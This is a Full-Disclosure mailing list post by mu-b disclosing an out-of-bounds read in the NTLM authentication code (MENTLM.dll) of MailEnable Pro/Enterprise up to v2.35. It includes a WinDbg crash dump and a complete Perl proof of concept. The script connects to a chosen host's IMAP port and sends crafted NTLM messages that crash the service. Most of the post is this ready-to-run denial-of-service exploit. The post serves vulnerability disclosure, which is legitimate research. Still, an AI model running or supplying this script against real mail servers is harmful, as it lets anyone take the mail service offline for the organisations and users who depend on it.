[Full-disclosure] MailEnable DoS POC



The POC attached exploits an out of bounds memory read in the NTLM authentication
routines of MailEnable Pro/Enterprise. The problem lies in the NTLM_UnPack_Type3
function of MENTLM.dll.

This appears to have been silently "patched" somewhere between versions 2.351 and
2.36-7. (observe the quotes).

(c34.dc0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=8146930b ebx=003a6cc8 ecx=00000040 edx=00000000 esi=8146920b edi=0146b238
eip=0109b4b3 esp=014691e4 ebp=014691ec iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
MENTLM!NTLM_UnPack_Type3+0x3019:
0109b4b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0146b238=00000000 ds:0023:8146920b=????????

---------------------------------------------------------------------------
(mu-b@xxxxxxxxxxxxxx)
#!/usr/bin/perl
#
# maildisable-v5.pl
#
# Mail Enable Professional/Enterprise <=v2.35 (win32)
# by mu-b - Wed Nov 29 2006
#
# - Tested on: Mail Enable Professional v2.32 (win32) - with HOTFIX
# Mail Enable Professional v2.33 (win32)
# Mail Enable Professional v2.34 (win32)
# Mail Enable Professional v2.35 (win32)
#
# out of bounds read == DoS
#
########

use Getopt::Std; getopts('t:', \%arg);
use Socket;
use MIME::Base64;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 2;

my $PAD = 'A';

if (connect_host($target, $imapd_port)) {
print("-> * Connected\n");
send(SOCKET, "1 AUTHENTICATE NTLM\r\n", 0);
sleep($send_delay);

$buf = ($PAD x 12).
"\xfa\xff\xff\xff".
($PAD x 12);
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);

$buf = ($PAD x 28).
"\x00\x01".
($PAD x 2).
"\xef\xbe\xad\xde";
send(SOCKET, encode_base64($buf)."\r\n", 0);
sleep($send_delay);

print("-> * Successfully sent payload!\n");
}

sub print_header {
print("MailEnable Pro <=v2.36 DoS POC\n");
print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
print(qq(Usage: $0 -t <hostname>

-t <hostname> : hostname to test
));

exit(1);
}

sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1338);
}
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